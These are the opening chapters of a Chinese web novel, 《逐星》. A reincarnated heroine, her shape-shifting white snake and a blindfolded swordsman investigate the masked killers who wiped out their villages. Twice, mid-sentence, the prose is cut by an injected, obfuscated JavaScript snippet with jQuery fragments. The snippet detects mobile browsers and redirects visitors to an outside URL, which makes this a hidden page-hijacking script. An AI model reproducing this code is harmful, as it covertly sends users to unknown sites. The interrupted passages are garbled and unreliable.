《逐星》 1. 吾王转世 昌达十五年,昭华国,南方部族,边境。 霜天万木,寒彻骨血。 苍灰色的山脉之间,横跨着一条狭窄的、布满碎石的通道,一队黑甲骑兵正沉默地行进在这险隘之中。 铁蹄敲击着地面,发出沉闷而富有节奏的“嘚嘚”声,混合着皮革摩擦和金属甲叶偶尔碰撞的轻响,在这寂静的山谷里显得格外清晰。 领头人身跨一匹神骏的乌骓马,背脊挺得笔直,暗金色的吞兽肩甲在稀薄的天光下泛着冷硬的光泽,头盔下的目光锐利如鹰,不断扫视着两侧的峭壁。身后的亲兵紧随其后,虎狼之师,旌旗蔽日,号令如山。 突然,一道极其尖锐的嘶鸣声猛地从极高处炸响,几乎就在同时,一道模糊的黑影已破空而下,以肉眼难以捕捉的速度狠狠凿击在领头将领坐骑前仅半步之遥的地面上。 劲力之大,让大半截箭杆都没入了碎石之中,露在外面的箭羽因这巨大的冲击力而剧烈地颤抖,“嗡嗡”轰鸣,尾音不绝,像一道冰冷的、充满蔑视的警告。 乌骓马受惊扬蹄,发出一声惊恐的长嘶,将领死死勒住缰绳,才堪堪稳住。 他猛地抽出腰间的长剑,望向箭矢来处的峭壁顶端,隐约能瞧见一道模糊的人影。 “什么人!” 他厉声喝问,回应他的只有风的呜咽。 再无第二支箭射来。 在一片死寂的紧绷中,一道清冽的嗓音倏然响起。 “退下。” 这声音不高昂,不尖锐,却淬着不容置疑的决断和近乎天生的威严,清晰地压过了风声马蹄,钉入每个人的耳膜。 那将领握剑的手几不可察地顿了一瞬,随即霍然瞪大双眼,用难以置信的目光猛地审视着高处。 “…女人?!” 他轻蔑地嗤笑一声,紧绷的肩线骤然松弛,仿佛听到了天大的笑话。他仰起头,笑声粗嘎,回荡在幽涧之中,手中长剑随意一抬,寒刃直指崖顶。 “你让我退下?就凭你?一个女人?”他语带讥讽,每一个字都裹着毫不掩饰的轻慢,“简直可笑!” 那女子并未因他的嘲弄而有分毫动容,只是沉默地、极其稳定地抬起手中那柄通体素白的长弓,以从容不迫的姿态拉满弓弦。 将领鼻腔里溢出一声轻蔑的“哼”笑,漫不经心地横过长剑,摆出一个敷衍的防御姿态。 下一瞬,箭矢破空而来,他脸上狂妄的笑意甚至还未消散,整个人已被一股无可抗拒的巨力从马背上狠狠掼下。 “—将军!” 他身后的队伍瞬间炸开,疯狂地涌向那具轰然倒地的身躯,乱作一团。 女子呼出一口白气,俯瞰着下方的混乱,声音再次响起: “我说,退下。” 掷地有声、振聋发聩。 “这个国家,容不得任何人践踏!” - 昌达十四年,昭华国,西方部族,西沿城。 杨凛星从一个冗长的梦境中醒了过来。 头顶是木椽屋顶,身下是柔软的床榻。 门外有几句对话顺着缝隙飘了进来: “…大夫说这两日便能醒来,二位公子不必担心。” “有劳林姑娘。” “多谢林姐姐,等凛星大人醒来,请马上告诉我!” 紧接着便是一阵远去的脚步声。 杨凛星茫然的望着头顶的天花板,一直保持着刚醒来的姿势。 房门被轻轻推开,似乎有人向她的方向走来,杨凛星没有动。来人脚步一顿,随即坐落在床边,语气惊喜又关切:“你醒了,感觉如何?” 杨凛星僵硬的转动了脖颈,只见一位妙龄少女正关切地凝望着自己,她宽大的袖口一层层向上挽起,露出两段线条流畅的小臂,显得矫健而有力。 少女嫣然一笑,道:“沈公子他们都来问过好几回了,大家都很担心你。” 杨凛星怔怔的望着她,不语。她的大脑龟速运转,寻找着这位“沈公子”的信息。 不久前,她生活的村落被一群来历不明的恶徒袭击,在“养父”的帮助下仓皇出逃。那些人穷追不舍,她险些丧命于刀下,幸得一位武功高强的少侠相救。昏迷前夕,对方自报家门,亦是沈姓。 与女子此刻所提的“沈公子”,应是同一人。 沈灵泽。 “我姓林,名蝶兰。这儿是我家客栈的客房。”少女说着,目光轻轻掠过杨凛星的脸,“是沈公子送你过来,托我照看的。你背后的伤不轻,流了很多血。” 杨凛星醒来时便察觉背后的伤口已被妥善包扎,身上换了陌生干净的衣物,面料是她来到这个世界以后从未穿到过的柔软程度。她张了张嘴,用力挤出了两个沙哑的字眼:“…多谢。” “无妨,你贴身的衣物我都收在柜子里…”蝶兰话音未落,忽然想起什么,神色骤然一变,语气透出几分不安:“只是…你那蛇,我实在害怕,就请沈公子先带走了。” 杨凛星先是点了点头,随即猛地怔住。 蛇? 她脸上终于有了一丝慌乱:“我的…蛇…” “它没事!”蝶兰见她神色紧张,急忙解释:“沈公子将它带去自己房里照料了,你放心。” 杨凛星这才缓缓松了口气。 那可不是普通的蛇。 “你好生歇息,我去告知两位公子你醒了。” 两位公子?除了沈公子,还有谁? 她心中疑惑,却并未多问,只重新合上了眼。 挣扎半晌,终究是被杂乱的思绪搅得心神不宁,她索性起身去寻她的蛇。 门一开,猝不及防地对上一张陌生的男子面孔,二人同时愣在原地。 杨凛星只觉得这人好看的实在是让人挪不开眼。他一身素白的衣衫,身形挺拔如松竹。周身并无多余佩饰,却自有一股清贵之气。眉目疏朗,神情温和,如皎皎明月,不染半点尘埃。一眼便知是位端方守礼的谦谦君子。 此人很快便正了神色,双手虚虚一拱,目光垂落于地,轻声道:“杨姑娘。” 杨凛星马上反应过来,他便是那日出手相救的沈公子。 回想初见时,他如松柏般屹立在她身前,一根鲜艳的红色发带随着周身的剑气在空中飞扬,剑技精湛绝伦,仅凭一招便击退了所有人。后来他收剑回身,杨凛星才发现,那红绸原是用于蒙眼,而非束发。 当日他以红绸蒙眼遮住了大半面容,直到现在,她才看清此人真正的模样。 她简单回礼:“沈公子。”顿了顿,继续道:“多谢沈公子救命之恩。” “举手之劳。”沈灵泽目光平和的望向她,脸上带着温雅的浅笑,并无半分窘迫或局促,“原是听林姑娘说你醒了,便想着过来看看。杨姑娘若觉得身子方便,可下楼与沈某一起进些吃食。” 杨凛星昏睡几日,早已是饿的前胸贴后背,因此没有任何犹豫,便选择和他一起下楼。 正好也问问他关于蛇的事。 只是这楼下的实在是有些艰难,每走一步杨凛星都有一种浑身要散架的酸爽。她走得极慢,沈灵泽便隔着一段安全距离,以保护的姿态跟在她身后,杨凛星能够感受到背后有一道目光深深注视着自己。 店内生意兴隆,乌泱泱坐满了人,杨凛星却还是一眼就瞧见了玉璃那张超凡脱俗的脸,只见他蹦蹦跳跳的向杨凛星的方向挥了挥手,然后迅速的蹿了过来。 杨凛星心头猛地一跳:“怎会如此,竟是人形的玉璃!” 她下意识地朝沈灵泽看去。对方却坦然迎上她的目光,甚至还微微一笑。 杨凛星怔了怔,迅速收敛了神色。 “凛星大人,你终于醒了,可担心死我了。” 急切的模样同杨凛星在蛇窝里醒来第一眼见到他时一样。 她淡淡勾起嘴角,宽慰道:“我没事,害你担心了。” 三人就近坐了下来,彼此对视了一眼,却谁都没有先开口。气氛一下子变得有些微妙。 店中特邀的说书先生,一记惊堂木响,正将今日的故事娓娓道来: “……轩辕王仁德布于四方,治世宽厚,乃 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她目光微转,落向沈灵泽,见他依旧神色温雅,静坐如松,仿佛周遭一切皆与他无关。 杨凛星心下暗自琢磨着这位沈公子的态度。 他定是早已知晓她和玉璃不是普通人——这一点她毫不怀疑。但她不明白的是,为什么他一句都不多问,神色还如此坦然,是行走江湖见得多,所以沉得住气么? 玉璃一手抓起一根筷子,眼巴巴的问:“沈大哥,我们今日吃什么?” 闻言,杨凛星忍不住瞥了沈灵泽一眼,心想:“这就喊上‘沈大哥’了?可真不见外。” 沈灵泽笑道:“待会儿便知。” 杨凛星暗自嘀咕道:“贪吃蛇。” 正说着,蝶兰一手举着一个托盘快步走来,摆满了不同的菜系。 四菜一汤,色香味俱全。杨凛星已经不记得自己多久没见过这样令人有食欲的饭菜了,顾不上先前的那些弯弯绕绕,先把肚子填饱再说。 玉璃一边吃一边啧啧称赞:“好好吃啊林姐姐,可以每天都做吗?” 蝶兰环臂笑眯眯的看着他:“行啊,付钱就行。” 玉璃显然是不懂“钱”是何物,只好来问杨凛星:“凛星大人,‘钱’是什么,我们有吗?” 杨凛星脸色骤沉,心道:“我们当然没有!” 十三年前,她一觉睡醒便穿越到了这个时空的小村庄,成了一个6岁的小孤女,幸得被村里大夫收养,才不至于流落村头。村庄远离城镇,村民们平时都靠放牧自给自足,根本不用钱。后来村子遇袭,她一路逃难,更不可能有钱。 仔细一想,这几天住店、看病、抓药,肯定花费不少。虽然沈灵泽还未提起,但话都说到这份上,她也不能假装不知此事。 于是,她清了清嗓子,问道:“沈公子,这几日我与玉璃的花费是多少?待我伤好之后如数还你。” “我是自愿搭救姑娘,并不贪图回报,姑娘也不必放在心上。” 杨凛星带着审视的目光对上沈灵泽的眼睛,他的眼神干净,明亮,温和,看向她的目光不闪躲,不凝视,说出口的话带着天然的坦诚,让人没有理由的就是想要信任他。 但她还是摇了摇头,坚定的说:“这样不妥。” 沈灵泽见她坚持,也不再推脱:“二十文钱。” 一旁的林蝶兰听到这话,忍不住挑了挑眉,露出了一抹别有深意的笑容。 杨凛星没有注意到,点了点头,继续埋头吃饭。事实上她对这个世界的银钱没有任何的概念。她生长在银月村,从来没有过要花钱的时刻,因此也不知道,二十文钱连她一晚的住宿费都不够。 此刻她脑中飞快地盘算着赚钱的门路,很快一个绝妙的主意跳了出来。 “玉璃,想不想天天都吃好吃的?” “想!” 杨凛星嘴角一勾,露出个狡黠的笑:“那你可全都得听我的。” 2. 戏耍纨绔 三日后,天晴,宜出摊。 长街熙攘,杨凛星的摊位前却诡异地空出一圈地界。 明艳不可方物的少女,一双流转的美目顾盼生辉,侧盘绕的小蛇在日光下泛着珠玉般的光泽,实属世间罕见,引得路过的人无不侧目。 他们的目光里掺着好奇与忌惮,都只远远看着,无一人敢近前。 杨凛星没有气馁,一直耐心的等待着。终于,有一位身着道袍的男子犹豫着走上前来。 杨凛星两眼放光,露出了灿烂的笑容,还未等她开口,那人便问道:“敢问姑娘,你这板子上画的是什么符咒?” 杨凛星的笑容一下就僵硬在了脸上,她看了眼自己费好大劲才写好的招牌,厚着脸皮解释道:“这不是符咒,这是字。‘家有灵蛇,一文一摸’。” 在昭华国的疆土之上,创世之神女娲娘娘受到万民敬仰,无论是通衢大道还是幽深小巷,总能与她的神像或香火鼎盛的庙宇不期而遇。女娲娘娘乃是人面蛇身,正因如此,蛇这一承袭了神明形态的生灵,在昭华国内亦被奉若瑰宝,享有非同寻常的尊崇。 然而,敬畏虽深,真正能得见蛇的真容的人却少之又少。它们大多隐于幽谷深山、灵泉古地,鲜少涉足凡人聚居的城镇街市。正因如此,驯服灵蛇并与之亲近无间的景象,莫说是亲眼所见,便是听闻,也近乎传说。 因此,杨凛星笃定此人一定是被通体灵白,乖巧温顺的玉璃所吸引,未曾想他的关注点竟落在了她那手难以示人的丑字上! 那道长不可置信的睁大了眼睛,他瞅了瞅摊面上的小白蛇,又凑近了招牌板仔细研究,连连发出“啧啧”声,好似在说:“这鬼画符也能叫字?” 杨凛星不禁有些脸红,可这也不能全怪她,除了本身练书法的,谁敢打包票自己穿越来古代能写的好一手毛笔字?况且她生长的地方不比城区,纸都是很宝贵的,哪能用来练字这般奢侈?因此她虽当了十几年的古人,却并不见得有多少古韵,反正这字,她最多也就能写成这样了。 生意经便是如此,有一人驻足,便似那春塘雨落,自有第二、第三圈涟漪相逐而来。转眼间,杨凛星的摊位前已是被围的水泄不通。除了那道士,全都惊奇的打量摊位上盘索着的银白色小蛇。 杨凛星见机行立马大声吆喝起来:“走过路过不要错过!家有灵蛇,一文一摸!灵蛇送福禄,驱邪避灾殃!” 人群间议论声此起彼伏。 “这蛇真能保平安?” “不知道啊,从未见过如此通透纯白的蛇,还如此乖顺。” “谁先上去试试。” “…我不敢。” “我来!”一位胆大的少女从人群中挤了出来,将一文钱递到了杨凛星面前。 杨凛星笑眯眯的收下了钱,双手将白蛇捧起,递了过去。 小白蛇扭了扭身子,歪着头打量眼前的少女,样子极为乖巧可爱。少女先是用指腹轻轻点了点他的头,见他没有任何要攻击的倾向,便更加大胆的将手放了上去。 “感觉如何?” 少女满意的回答:“凉凉的,很舒服。” 有了先锋,后面的人自然就趋之若鹜。一时间,杨凛星忙到钱都收不过来,喊道:“慢慢来!慢慢来!” 突然,人群外不知何人高喝一声:“百里公子又洒金豆子啦!” 下一秒,原本还挤得水泻不通的人群骤然散开,提着衣摆往西方不远处涌去。 杨凛星被这接二连三的反转弄得呆在原地,心想:“不是吧,说来就来,说走就走?还有好些人给了钱都还没摸呢。” 愣神之际,有一人笑吟吟的来到她摊位前。只见他执扇而立,一身云纹锦袍,金线绣的鹤影贵气逼人。 杨凛星只是瞥了一眼,就明白此人非富即贵。 “听闻此处有灵蛇送福,可否也让在下沾沾这福气?” 杨凛星暗骂道:“你一来我生意都没得做了,合该是我沾了你的晦气才对。” 见她不答话,男子也没有气恼,慢悠悠的摇了摇手中的扇子。反倒是他身后的侍从变了脸色,喝道:“大胆!百里公子同你讲话,你竟作耳旁风?!” “高达,对姑娘家怎可这般无礼?退下!”听了这话,侍从面色不虞的闭上了嘴巴。 但话是这么说,百里公子可没从这位姑娘脸上看到丝毫害怕的样子。同样,杨凛星也并不觉得此人是真心训斥他的侍从,大概率是小的唱红脸,主子唱白脸的好戏码。 昭华国以王城为中心,分为东、西、南、北四大部族,由四大世家代代镇守。分别是北方的有娀氏,西方的百里氏,东方的温孤氏,南方的九方氏。 杨凛星脚下的这片土地归属于西方部族,此人又被称为百里公子,那自然便是西方部族的掌权者,百里将军的亲眷了。 此等大人物,又岂是她能惹得起的?杨凛星紧了紧腰间的钱袋,摆出一副恭顺的姿态,道:“这位公子,小摊今日已打烊,请公子改日再来。”说完抓上蛇,转身便要走。 谁知这位百里公子竟直接伸手拦下了她的去路。 杨凛星一挑眉,目光冰冷的扫向他,但又很快恢复了平静。 百里公子未曾想到一位普通的小姑娘会朝他露出如此冷厉的神色,不禁心头一跳,但转念一想,在这西沿城内有谁能与百里家叫板?于是又恢复了从容地笑容:“姑娘,方才多有冒犯,在下百里策,可否跟姑娘交个朋友?”说完,他像模像样的朝着杨凛星作了一揖。 杨凛星有些嫌恶的皱了下眉,不知为何,看沈灵泽朝她行礼,她只会觉得对方是位翩翩君子。此刻见这位百里公子行礼,她只觉得虚情假意。 “民女一介布衣,实在不知如何与洒金如雨的百里公子做朋友。”杨凛星望着不远处为了一粒小金丸而恶语相向、甚至大打出手的百姓,深邃的眼眸中明明暗暗。 百里策顺着她的方向望去,正好瞧见一名农妇为了捡落于泥沟的金豆,竟顾不得污水恶臭,整个人趴伏下去,发髻散了也浑然不觉,丑态百出的模样惹得他一阵大笑起来。 杨凛星冷声道:“很好笑吗?” 闻言,百里策愣了愣,不解道:“你在生气什么?” 眼前这位姑娘的眉眼间满是怒容,一双眸子像是快要烧起来。 杨凛星只觉得有口恶气堵在胸口,呼不出也咽不下。她很想大声质问他:“身为西方部族的统领者,百里氏的公子,竟随意以金丸戏弄百姓,以挑起百姓间的争执和斗乱为乐,不感觉到羞愧吗?” 但她深知说了也无用,还是将所有的话无声地咽了回去。 在这等级森严的世道里,人从出生那刻起便被刻定了贵贱,泾渭分明地划入了不同的命数。她自己方才已亲口言明,不过是“一介布衣”,一个微末如尘的平民。如此身份,有何资格去指点这个国家四大世家之一的公子该如何行事? 那不仅是逾越,更是一种可笑的僭越。 话虽不能说,却也无妨,她心下已有了计较。对付这等眼高于顶的纨绔,自有叫他吃个哑巴亏,同时也不失分寸的法子。 “公子当真想要沾沾这灵蛇的福气吗?” 百里策摇扇的手微微一顿,心下嗤道:“谁稀罕你这小玩意儿,不过是寻个由头同你搭话罢了。” 可目光落在眼前少女扬起的唇角上,那笑容明澈晃眼,竟叫他心口莫名一颤。到了嘴边的话转了个弯,只化作一句顺从心意的应答:“自然。” 杨凛星嘴角的笑意又深了几分:“我这灵蛇虽通晓人性,但公子您身份何等尊贵。且容我好生叮嘱他一番,再送到公子手中。” 百里策略一颔首,算是应允。 杨凛星当即低下头,凑到玉璃耳边,压低声音细细嘱咐了几句。在外人看来,那小白蛇竟真如听懂人言般,仰起脑袋,似模似样地点了点头。 这灵性的一幕,倒让原本只是借题发挥的百里策眼中掠过一丝真正的讶异与兴味。 “公子请。”杨凛星垂眸,双手恭敬的将小蛇奉上,百里策唇角噙着若有似无的笑,伸手去接。 玉璃顺着百里策的手臂蜿蜒而上,最终灵巧地环过他的脖颈,首尾相衔,安然地伏贴在他的肩头。百里策见状,仰天长笑,连声道:“好,好,好!” 他随意地抬了抬指尖,身后的侍从便心领神会,自怀中取出一枚光灿的金锭,递到了杨凛星面前,动作流畅得像演练过无数次。 谁会跟钱过不去啊?杨凛星笑眯眯的接过,面上感恩戴德:“多谢公子,公子大气!” 心中却止不住嗤笑:“哈哈哈哈,你个人傻钱多的大冤种!” 场面看上去一片其乐融融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477712|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,百里策不动声色的上前一步,正想说点什么,颈侧却猝不及防地传来一阵温热湿濡的触感。他下意识地抬手,指尖探向那不适的源头,竟当真触及一片微烫的液渍!用鼻尖轻轻一嗅,一股难以言喻的、带着些许腥膻的异样气味直冲而来。 这…这难道是… 始终低垂着脑袋的杨凛星,唇角飞快地掠过一丝得逞的皎洁笑意。再抬起脸时,她已完美地换上了一副比百里策还要惊讶茫然的无辜神情,仿佛对眼前发生的一切全然不解。 这蛇竟在自己身上公然泄了!这个认知让百里策的脸变得一阵黑一阵红一阵白,他颤抖着用执扇的那只手指着杨凛星,说不出一句完整的话来:“你…你竟敢…” 杨凛星当然不会给他说话的机会,立马先发制人:“恭喜公子,贺喜公子,公子当真是好福气啊!” 百里策怒吼道:“福从何来?!”他堂堂百里氏的嫡出二公子,在大街上被一小蛇尿了一身,脸都丢尽了! 杨凛星盈盈一拜,脸上写满了诚挚的惊叹,语气夸张地解释道:“公子您生来就是大富大贵的命格,福泽深厚,自然不能与寻常百姓一样,只是摸摸灵蛇就算沾福气了。我这蛇灵性非凡,一贴近公子,立刻就感知到了您周身磅礴的福运!它这是太激动、太欣喜了,寻常的亲近根本无法表达它的敬意与祝福,只能用这…最为‘热烈’的方式,将它全部的灵韵福气都‘浇灌’给您啊!” 她说得斩钉截铁,煞有介事:“公子此刻,正是福泽浸体,福上加福,这泼天的富贵灵气,可是旁人求都求不来的呢!” 百里策被她这番说辞哄得神志不清,愣在原地,半晌才问道:“你、你说的是真的?” “我以女娲娘娘起誓,千真万确!”趁着百里策思绪混乱,杨凛星赶忙上前将玉璃接了过来,顺带让他在百里策那身昂贵的锦衣上多蹭了两下,她可不想沾上蛇尿。 “只可惜…我这灵蛇积攒的那点微末福分,今日竟是倾其所有,一滴不剩地全都渡给公子您了!它这般耗尽灵韵,往后…怕是再挤不出一丝一毫的福气分予旁人了。”杨凛星重重叹了一口气,眉眼低垂,嘴角向下撇着,一副泫然欲泣、懊恼至极的模样:“日后,我这赖以糊口的灵蛇赐福的生意…是彻底做不下去了。” 百里策自诩是个非常怜香惜玉的人,哪能眼睁睁看着美娇娘伤心欲绝却无动于衷呢?他一咬牙,转身从侍从那又掏出了更大一枚金锭子就要塞进杨凛星怀里。 杨凛星连忙摆手向后退去,十分惶恐、不愿接受的模样。百里策正声道:“姑娘,在下受了这福,理应给你更多的报酬,还请不要推辞,收下吧!” 惶恐是假,嫌弃才是真!谁想接你那用沾了蛇尿的手去碰过的钱! 身后的侍从看不下去了,忍不住开口:“公子…” 杨凛星察觉到他的意图,赶紧把钱收下了,脏点儿就脏点儿吧,有比没有好。 侍从的脸一下就黑了,他家公子明显就是被人给骗了呀! 杨凛星悄悄掂了掂腰间那沉甸甸、圆鼓鼓的钱袋,心底乐得几乎要开出花,面上却偏要蹙起眉头,摆出一副惴惴不安的模样,“多、多谢公子厚赏…天色不早,民女家住得远,实在不敢再多耽搁,这就告辞了。” 她话音未落,已忙不迭地转身,脚步又轻又快,转眼便汇入了街角的人流之中。 百里策心底总感觉哪里不对,却也没工夫再同她纠缠下去,他快要被浑身这一股腥臊味儿给躁死了!只想赶紧回府,沐浴更衣。 眼见无人跟上,杨凛星才彻底松下一口气,放慢了脚步,朝着客栈的方向走去。 玉璃伏在她的肩头,扬起小脑袋,邀功似的问道:“凛星大人,我做的好吗?” “好!简直是天衣无缝!”杨凛星笑得见牙不见眼,毫不吝啬的竖起了大拇指:“今日你是头一份的大功臣,想吃什么?烧鸡、烤鹅、蜜饯果子…统统给你买!” 玉璃闻言,立刻欢快地扭动了一下莹白的身子,回应道:“多谢凛星大人!” 杨凛星步履轻快,哼着玉璃从未听过的小曲,腰间沉甸甸的钱袋随着她的动作一下下轻撞着裙摆。 “凛星大人,你哼的这是什么曲子?” “《好运来》!” “何人所作,我从未听过。” “…你猜” 3. 幕后黑手 一番深思熟虑后,杨凛星将那枚略小一些的金锭子当作谢礼递给了沈灵泽。 二人相对而坐,沈灵泽只看了一眼,并未立即收下。 “我记得,我与杨姑娘所说不过二十文钱,这枚金锭,怕是远超此数了。” 杨凛星微微一笑,当时自己对银钱并无清晰的概念,所以在沈灵泽说出“二十文”时,她只当是寻常数目,并未深思。可昨日她于长街摆摊,耳闻目睹周遭小贩的交易,稍作推算便能知晓此地的物价。 她不愿平白欠下这般大的人情,更何况…她心中另有一番计较。 “沈公子记得不差,确是二十文。”她坦然承认,眸光清亮,唇角噙着一丝不易察觉的狡黠:“这余下的‘份额’,我想在沈公子这里折换成三个问题。” 沈灵泽神色不变,似乎早就有所预料,只微颔首道:“姑娘请问。” “你是谁。” 这问题抛得极为突兀,甚至有些无礼。从最浅显的层面理解,他早已自报过家门——他是沈灵泽。若他想敷衍了事,大可以用这句话搪塞过去。 但杨凛星的目光清亮而专注,并无半分痴傻或玩笑之意。一种直觉在她心中盘旋:眼前这人,绝非仅仅报上名号那般简单,他与她的相遇绝非偶然。 杨凛星从不是个扭捏作态之人,也不善迂回婉转,她素来习惯将事情摊开在明处,说得一清二楚,所以她选择将这份试探挑明。这并非冒犯,反倒像递出了一份无声的邀约,一个彼此坦诚、越过虚伪客套的契机。 她赌他是个聪明人,会接下这份另类的“诚意”。 果然,沈灵泽沉默片刻,方道:“孤儿。幼时得一牧马人收留,后逢变故,便独自漂泊,四海为家。”说完,他停顿了下,继续道:“我从未欺骗姑娘,沈灵泽确为我名讳。” 杨凛星点点头,心道:“此人竟和我身世如此相似。”她忍不住多看了沈灵泽几眼,越看越觉得此人…好看! 唯恐美色误人,杨凛星立刻抛出了第二个问题:“你知道,我是谁。” 与其说是问题,不如说是陈述。沈灵泽知晓她和玉璃身份特殊这一点毋庸置疑,但他究竟知晓多少底细,又了解到何种程度?她得探探深浅。 想到这里,杨凛星在心底默默给了玉璃一个白眼。这贪吃蛇在她昏迷的时候除了埋头苦吃,半点有用的消息都没能探听出来,怕不是反过去露了不少老底。 沈灵泽这种在江湖中摸爬滚打的老手,对付玉璃这种初出茅庐的小灵兽,简直如同老父亲逗弄亲儿子一般轻松拿捏。 沈灵泽在这个问题上沉默了更长时间,仿佛是在斟酌如何用词。良久,他回答道:“我幼时常听闻轩辕王与神器的故事,一直以为是传说。直到那日姑娘遇险,我亲眼所见,玉璃…化身为弓,才知传说竟是真的,只是…” 杨凛星没有接话,默默等他把话说完。 沈灵泽的目光沉静地落在她身上,继续说道:“只是传说中,非天命所归之轩辕王,不可驱使神器。可世人皆知,轩辕王早已…辞世。”他气息有一瞬的凝滞,终是将那个盘旋于心底的猜测清晰道出:“莫非,姑娘乃是轩辕王转世?” 和聪明人说话就是这么简单,杨凛星坦然一笑,轻松道:“正是。” 沈灵泽眸光微动。 杨凛星想了想,又改口道:“应该是吧。” 沈灵泽不解:“为何只是‘应该’?” “我只比你早一天遇见玉璃,那时我重伤昏迷,醒来后他便唤我‘王’,我问他如何得知,他说他记得轩辕王的味道。”想起自己和玉璃初见时,内心的那种震撼,杨凛星不由得轻笑一声。 “但我对这个身份并无实感。我没有前世的记忆,今生,我也同你一样,只是个被人收养的孤儿罢了。”她在心中暗自补充:“我甚至不是你们这个世界的人。” 沈灵泽的声音平稳,却比寻常多了几分不易察觉的斟酌:“轮回转世这等离奇之事,骤然加在姑娘身上,其中要经历的挣扎与动荡,想必非常人所能想象。” 这种看似客套的说辞从沈灵泽这样的人口中说出,非但不显虚伪,反而透出一种笨拙的认真。杨凛星有些讶异,又有些好笑,他这是在宽慰自己吗? 桌案两侧,二人同时沉默了下来,各自垂眸,陷入了短暂的静思。 “沈公子…” “杨姑娘…” 二人同时开口,又同时顿住。 杨凛星笑眯眯的问道:“你想说什么?” 沈灵泽犹豫了半晌,终道:“杨姑娘,即便你是轩辕王转世,但无论是上一世的他,还是这一世的你,说到底都只是一个拥有神器、却没有神力的普通人。还望你不要被‘转世’这个身份困住,不必背负过多的压力,只管做你自己就好。” “……” 杨凛星在桌下掐了掐自己的掌心,想要把鼻尖的那一股酸楚给压回去。活了四十多年,被一个十几岁毛头小子的话弄到要哭鼻子,多少有些难为情了。 她用力的眨了眨眼,平复好自己的情绪,“多谢。” “那,我要问第三个问题。”二人隐约都有一种预感,第三个问题才是最为关键的一环。因为当杨凛星说完这句话以后,空间内的气场全都变了,先前那点轻松甚至狡黠的意味瞬间消散无踪,取而代之的是一种几乎令人窒息的压抑感。 “那群追杀我的蒙面黑衣人,你认识,对不对?”杨凛星的目光沉静而专注,牢牢锁在沈灵泽脸上,仔细捕捉着他每一寸细微的表情变化。 这个疑问从她醒来的那一刻起,便始终萦绕在她脑海。 她清楚地记得,当沈灵泽以压倒性的实力解决掉那个几乎要取她性命的黑衣人后,其余围攻者几乎是毫不犹豫地立刻撤退了。 为什么? 仅仅是因为他们判断出沈灵泽武功高强,自知不敌而选择避其锋芒吗?可在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477713|185613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此之前,为了保护她,玉璃也同样展现出了非凡的战斗力,甚至从人形化作了弓箭那样不可思议的形态,那些黑衣人也依旧前仆后继,没有丝毫退意。 为何偏偏沈灵泽一出现,他们就立刻收手? 这其中的反差让她无法不去深思。似乎只剩下两种合理的解释:要么,这些黑衣人与沈灵泽早已交手多次,深知他的棘手程度,不愿再做无谓的牺牲;要么…这一切根本就是一个局,那些人的围攻或许本身就是为了将她逼入绝境,等待着沈灵泽的“恰好”出现。 那么,究竟是哪一种?或者…这两种可能性,其实兼而有之? 她希望从沈灵泽这里得到一些有用的信息。 “是。”沈灵泽垂下眼眸,沉声道:“他们是我的仇人。” 杨凛星猛地站起身,动作又快又急,膝盖不小心撞到了中间的桌板,发出“砰”的一声不大不小的闷响。 “仇人?什么意思?” 沈灵泽凝眉看了一眼她刚才碰撞的地方,眼中闪过一丝哀痛:“我十四岁那年,村庄遭逢剧变。一群蒙面黑衣男子趁夜来袭,他们什么话也没说,见人就杀,除我以外,全村无人幸免。” 沈灵泽看着杨凛星越来越苍白的面容,继续道:“当年屠村的那伙人,和现在追杀你的这批,从衣着、武器到使用的剑法,完全一致。” 杨凛星怔怔的看着沈灵泽,呢喃道:“怎么会…怎么会如此相似…” 世界上真的会有如此精准复刻的苦难吗?两个孤儿,同样被收养,经历同样惨烈的屠村,又同样成为唯一的幸存者,这真的还能被称之为“巧合”吗? “你是谁!”杨凛星再次问出了这个问题,此刻她忍不住怀疑,沈灵泽或许也是从她原来的世界穿越过来的。 然而从沈灵泽的反应来看,这次是她猜错了,对方再次接收到这个问题之后,面上出现的只有一片茫然。 “抱歉,我失态了。”杨凛星重新坐了下来,已恢复之前的平静。 “无妨。” 她轻轻呼出一口气,试探着问道:“所以,你会出现在那里,是因为你一直在追察那群黑衣人的下落,你想为村子里的人报仇?” “正是。”沈灵泽的回答没有丝毫犹豫,带着一种不容置疑的决绝,“自我有幸逃脱,就没有一天放弃过追查他们的下落。起初,我试过想抓一个活口问明缘由…但他们一旦被擒,就会立刻自尽,我几次都没能拦住。后来,他们似乎记住了我,只要一察觉我的踪迹,就会立刻撤退,根本不愿正面交锋。” 如此说来,那群黑衣人果真是因为不想与沈灵泽交手才会跑的那么快了。答案到手,杨凛星却未能如释重负,反而是有一种更加沉重的不安感压在心头,她总觉得冥冥之中有一双无形的黑手在幕后精准地推动着整件事的发展,而她获得的这个答案,或许也是这精密操控中的一环。 这让她如芒在背,如鲠在喉,如坐针毡。 4. 逗弄纯男 “收养你的那位牧民…是个怎样的人?”杨凛星自己也不知道为什么会突然问出这个问题,话就这么顺口溜了出来。 沈灵泽一怔,随即笑道:“这可是第四个问题了。” “买三赠一嘛,还请沈公子通融一下。”真要算的话这已经是第五个问题了,她相信沈灵泽并不会和她纠结这些。 “他…话很少,经常骑马外出,所以我很少能见到他。他的武功很高,我的剑法就是他教的。”说起这个人,沈灵泽的面色出现了微妙的变化,但很快就恢复了常态。 